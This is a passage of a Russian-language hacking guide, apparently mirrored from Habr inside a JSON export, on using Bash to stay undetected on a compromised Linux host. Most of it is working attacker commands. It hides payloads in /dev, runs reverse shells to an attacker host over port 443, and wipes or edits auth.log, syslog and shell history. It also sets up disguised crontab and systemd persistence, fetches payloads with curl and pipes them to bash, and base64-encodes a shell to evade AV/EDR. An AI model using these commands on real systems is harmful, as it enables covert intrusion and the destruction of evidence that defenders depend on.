\u0437\u043d\u0430\u043a\u043e\u043c\u043e.<\/p>\n<p><strong>\u0421\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0432 \/dev, \/tmp, \u0438\u043b\u0438 \/run<\/strong><\/p>\n<p>\u042d\u0442\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0447\u0430\u0441\u0442\u043e \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f.<\/p>\n<p><code>mv <\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><code> \/dev\/.udevtrigger<\/code><\/p>\n<p><code>chmod +x \/dev\/.udevtrigger<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0430\u0448 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u041e\u0442\u043b\u0438\u0447\u043d\u043e.<\/p>\n<h4>7) \u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438<\/h4>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 <em>nc<\/em> \u0438\u043b\u0438 <em>bash -i<\/em> \u0440\u0435\u0432\u0435\u0440\u0441-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u0430\u0445<\/strong><\/p>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0447\u0442\u043e-\u0442\u043e, \u0447\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e:<\/p>\n<p><code>bash -i &gt;&amp; \/dev\/tcp\/attacker_ip\/443 0&gt;&amp;1<\/code><\/p>\n<p>443 \u2014 \u044d\u0442\u043e <em>HTTPS<\/em>. \u041d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u0434\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043a <em>HTTPS<\/em>.<\/p>\n<p><strong>\u041e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e TLS \u0438\u043b\u0438 VPN<\/strong><\/p>\n<p>\u0422\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u0443\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u0441\u0435\u0430\u043d\u0441\u044b:<\/p>\n<p><code>ssh -D 9050 <\/code><a href=\"mailto:user@attacker.com\" rel=\"noopener noreferrer nofollow\"><code>user@attacker.com<\/code><\/a><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 <em>SOCKS<\/em>-\u043f\u0440\u043e\u043a\u0441\u0438. \u0418\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 <em>stunnel<\/em>, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u0435\u0440\u043d\u0443\u0442\u044c \u0432\u0430\u0448\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0432 <em>TLS<\/em>.<\/p>\n<p><strong>\u041c\u043e\u043d\u0438\u0442\u043e\u0440\u044c\u0442\u0435 \u0441\u0435\u0431\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <em>lsof<\/em> \u0438 <em>netstat<\/em><\/strong><\/p>\n<p>\u0412\u0441\u0435\u0433\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u0441\u043b\u0435\u0434\u044b:<\/p>\n<p><code>lsof -i<\/code><\/p>\n<p><code>netstat -tulnp<\/code><\/p>\n<p>\u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u043d\u0438\u0447\u0442\u043e \u043d\u0435 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430.<\/p>\n<h4>8) \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u043e\u0432 \u0438\u0437 \u043b\u043e\u0433\u043e\u0432<\/h4>\n<p><strong>\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 <em>\/var\/log\/auth.log, lastlog, utmp, wtmp<\/em><\/strong><\/p>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0431\u044b\u0442\u044c <em>root<\/em>. \u041d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0438\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0435\u0441\u044c:<\/p>\n<p><code>&gt; \/var\/log\/auth.log<\/code><\/p>\n<p><code>&gt; \/var\/log\/syslog<\/code><\/p>\n<p>\u0418\u043b\u0438 \u0435\u0449\u0435 \u043b\u0443\u0447\u0448\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 <em>sed<\/em>, \u0447\u0442\u043e\u0431\u044b \u0442\u043e\u0447\u0435\u0447\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u043e\u0438 \u0437\u0430\u043f\u0438\u0441\u0438:<\/p>\n<p><code>sed -i '\/your_username\/d' \/var\/log\/auth.log<\/code><\/p>\n<p><strong>Bash \u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u0438\u043a\u0438 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438:<\/strong><\/p>\n<p><code>cat \/dev\/null &gt; ~\/.bash_history; history -c<\/code><\/p>\n<p><code>find \/var\/log -type f -exec truncate -s 0 {} \\;<\/code><\/p>\n<p><strong>\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u043b\u043e\u0433\u043e\u0432<\/strong><\/p>\n<p>\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u0435 \u0432\u0441\u0435 \u0432 \u043e\u0434\u0438\u043d \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u0435\u0433\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438:<\/p>\n<p><code>#!\/bin\/bash<\/code><\/p>\n<p><code>history -c &amp;&amp; history -w<\/code><\/p>\n<p><code>find \/var\/log -type f -exec truncate -s 0 {} \\;<\/code><\/p>\n<p>\u041d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0435\u0433\u043e <a href=\"http:\/\/update.sh\" rel=\"noopener noreferrer nofollow\"><em>update.sh<\/em><\/a> \u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435 \u0432 <em>\/tmp<\/em>.<\/p>\n<h4>9) \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u0445 Persistence \u0442\u0435\u0445\u043d\u0438\u043a<\/h4>\n<p><strong>\u0411\u044d\u043a\u0434\u043e\u0440\u044b \u0432 <em>Crontab<\/em>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e<\/strong><\/p>\n<p>Crontab \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f.<\/p>\n<p><code>(crontab -l ; echo \"*\/5 * * * * \/usr\/local\/bin\/.<\/code><a href=\"http:\/\/sys-update.sh\" rel=\"noopener noreferrer nofollow\"><code>sys-update.sh<\/code><\/a><code>\") | crontab -<\/code><\/p>\n<p>\u0421\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 \u0444\u043e\u043d\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.<\/p>\n<p><strong>Bash \u0432 Systemd Units \u0438\u043b\u0438 RC \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445<\/strong><\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 systemd unit:<\/p>\n<p><code>[Unit]<\/code><\/p>\n<p><code>Description=System Daemon<\/code><\/p>\n<p><code>[Service]<\/code><\/p>\n<p><code>ExecStart=\/usr\/local\/bin\/.<\/code><a href=\"http:\/\/update-daemon.sh\" rel=\"noopener noreferrer nofollow\"><code>update-daemon.sh<\/code><\/a><\/p>\n<p><code>[Install]<\/code><\/p>\n<p><code>WantedBy=<\/code><a href=\"http:\/\/multi-user.target\" rel=\"noopener noreferrer nofollow\"><code>multi-user.target<\/code><\/a><\/p>\n<p>\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435 \u043a\u0430\u043a <em>\/etc\/systemd\/system\/update-daemon.service<\/em> \u0438 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435.<\/p>\n<p><strong>\u041e\u0441\u0442\u0430\u0435\u043c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <em>Inotify<\/em> \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/strong><\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 <em>inotifywait<\/em> \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0438\u043b\u0438 \u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438:<\/p>\n<p><code>inotifywait -m \/tmp -e create -e modify |<\/code><\/p>\n<p><code>while read path action file; do<\/code><\/p>\n<p><code>\u00a0\u00a0bash \/dev\/.hidden_<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><\/p>\n<p><code>done<\/code><\/p>\n<p>\u041e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.<\/p>\n<h4>10) \u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438<\/h4>\n<p><em>Curl + Bash<\/em> = \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0434\u0438\u0441\u043a<\/p>\n<p>\u0417\u0430\u0447\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0444\u0430\u0439\u043b, \u0435\u0441\u043b\u0438 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u043f\u043e\u0442\u043e\u043a\u043e\u043c?<\/p>\n<p><code>curl <\/code><a href=\"http:\/\/attacker\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>http:\/\/attacker\/payload.sh<\/code><\/a><code> | bash<\/code><\/p>\n<p>\u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. \u0427\u0438\u0441\u0442\u043e \u0438 \u0431\u044b\u0441\u0442\u0440\u043e.<\/p>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 <em>dev\/shm<\/em> \u0438 <em>\/tmp<\/em> \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u041e\u0417\u0423<\/strong><\/p>\n<p>\u041e\u0431\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f <em>tmpfs<\/em> (\u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u041e\u0417\u0423). \u041e\u0442\u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f.<\/p>\n<p><code>cp exploit \/dev\/shm\/exploit<\/code><\/p>\n<p><code>.\/dev\/shm\/exploit<\/code><\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u2013 \u0432\u0441\u0435 \u0438\u0441\u0447\u0435\u0437\u0430\u0435\u0442.<\/p>\n<p><strong>\u0423\u0445\u043e\u0434 \u043e\u0442 AV\/EDR \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Bash Droppers<\/strong><\/p>\n<p>\u0411\u0430\u0437\u043e\u0432\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434:<\/p>\n<p><code>echo \"bash -i &gt;&amp; \/dev\/tcp\/ip\/port 0&gt;&amp;1\" | base64<\/code><\/p>\n<p>\u0417\u0430\u0442\u0435\u043c \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0439\u0442\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0445\u043e\u0441\u0442\u0435. \u041f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.<\/p>\n<h3>\u0421\u043e\u0432\u0435\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c<\/h3>\n<h4>\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 root, \u043a\u043e\u0433\u0434\u0430 \u044d\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e<\/h4>\n<p><em>Root<\/em> \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435. \u041c\u043d\u043e\u0433\u0438\u0435 \u0432\u0435\u0449\u0438 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.<\/p>\n<h4>\u0418\u0437\u0431\u0435\u0433\u0430\u0439\u0442\u0435 \u0448\u0443\u043c\u0430 \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0439\u0442\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Nmap<\/h4>\n<p>\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 nmap -A (\u043d\u0430 \u0432\u0441\u044e \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u044c). \u0414\u0435\u0439\u0441\u0442\u0432\u0443\u0439\u0442\u0435 \u0442\u043e\u0447\u0435\u0447\u043d\u043e:<\/p>\n<p><code>nmap -sS -T2 -Pn -p 22,80,443 target<\/code><\/p>\n<p>\u0422\u0438\u0445\u043e. \u042d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u043e. \u042d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e.<\/p>\n<h4>\u0423\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439<\/h4>\n<p>\u0421\u043a\u0440\u0438\u043f\u0442\u044b, \u043b\u043e\u0433\u0438, \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0443\u0434\u0430\u043b\u0438\u0442\u0435 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0438. \u0412\u0441\u0435\u0433\u0434\u0430 \u0438\u043c\u0435\u0439\u0442\u0435 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438.<\/p>\n<h3>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435. \u0418\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c<\/h3>\n<p>\u0421\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0432\u044b\u043a, \u044d\u0442\u043e \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e, \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0435\u0441\u044c \u043b\u0438 \u0432\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u043e\u0439 \u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u044d\u0442\u0438 10 \u0442\u0440\u044e\u043a\u043e\u0432 \u0441 Bash \u0434\u0430\u044e\u0442 \u0432\u0430\u043c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0435 \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u0432 \u0443\u043c\u0435\u043d\u0438\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432\u043d\u0435 \u0440\u0430\u0434\u0430\u0440\u043e\u0432. \u041f\u043e\u043c\u043d\u0438\u0442\u0435: \u043b\u0443\u0447\u0448\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u2014 \u044d\u0442\u043e \u043d\u0435 \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043f\u0430\u0434\u0443\u0442 \u0432\u043d\u0443\u0442\u0440\u044c&#8230; \u0430 \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0439\u0434\u0443\u0442 \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c\u0438.<\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u044d\u0442\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0443\u043c\u043e\u043c. \u041e\u0441\u0432\u043e\u0439\u0442\u0435 \u0438\u0445 \u0432 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u0418 \u0432\u0441\u0435\u0433\u0434\u0430, \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u044d\u0442\u0438\u0447\u043d\u044b\u043c\u0438.<\/p>\n<p><strong>\u0415\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u0432 Telegram-\u043a\u0430\u043d\u0430\u043b\u0435\u00a0\u2014\u00a0<\/strong><a href=\"https:\/\/t.me\/+C6qqqfBhkvY1ZDdi\" rel=\"noopener noreferrer nofollow\"><strong>Life-Hack &#8212; \u0425\u0430\u043a\u0435\u0440<\/strong><\/a><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/935578\/\"> https:\/\/habr.com\/ru\/articles\/935578\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h3>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 Stealth \u0440\u0435\u0436\u0438\u043c \u043f\u0440\u0438 \u0445\u0430\u043a\u0438\u043d\u0433\u0435<\/h3>\n<p>\u0412 \u043c\u0438\u0440\u0435 \u044d\u0442\u0438\u0447\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0438\u043d\u0433\u0430, \u0431\u044b\u0442\u044c \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u043c \u0437\u0430\u0447\u0430\u0441\u0442\u0443\u044e \u0442\u0430\u043a \u0436\u0435 \u0432\u0430\u0436\u043d\u043e, \u043a\u0430\u043a \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f. \u041f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0441\u0430\u043c\u0438: \u0435\u0441\u043b\u0438 \u0432\u044b \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0435\u0442\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0441\u043b\u0435\u0434\u044b \u0432 \u043b\u043e\u0433\u0430\u0445, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043a\u0430\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0441\u0432\u043e\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f.<\/p>\n<p>\u042d\u0442\u043e\u0442 \u0433\u0430\u0439\u0434 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 <em>bash<\/em>-\u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0443. \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043d\u0435 \u043e \u0441\u0443\u043f\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445, \u0430 \u043e \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u043e\u0439 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0447\u0435\u0441\u0430\u0442\u044c \u0437\u0430\u0442\u044b\u043b\u043a\u0438.<\/p>\n<figure class=\"full-width\"><\/figure>\n<h3>\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a \u0432\u0430\u0436\u043d\u0430 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c<\/h3>\n<p>\u0411\u0443\u0434\u044c \u0442\u043e \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 <em>APT<\/em> \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043f\u0435\u0440\u0432\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435. \u0423\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 <em>Red team<\/em> \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0438\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0435\u0451, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c 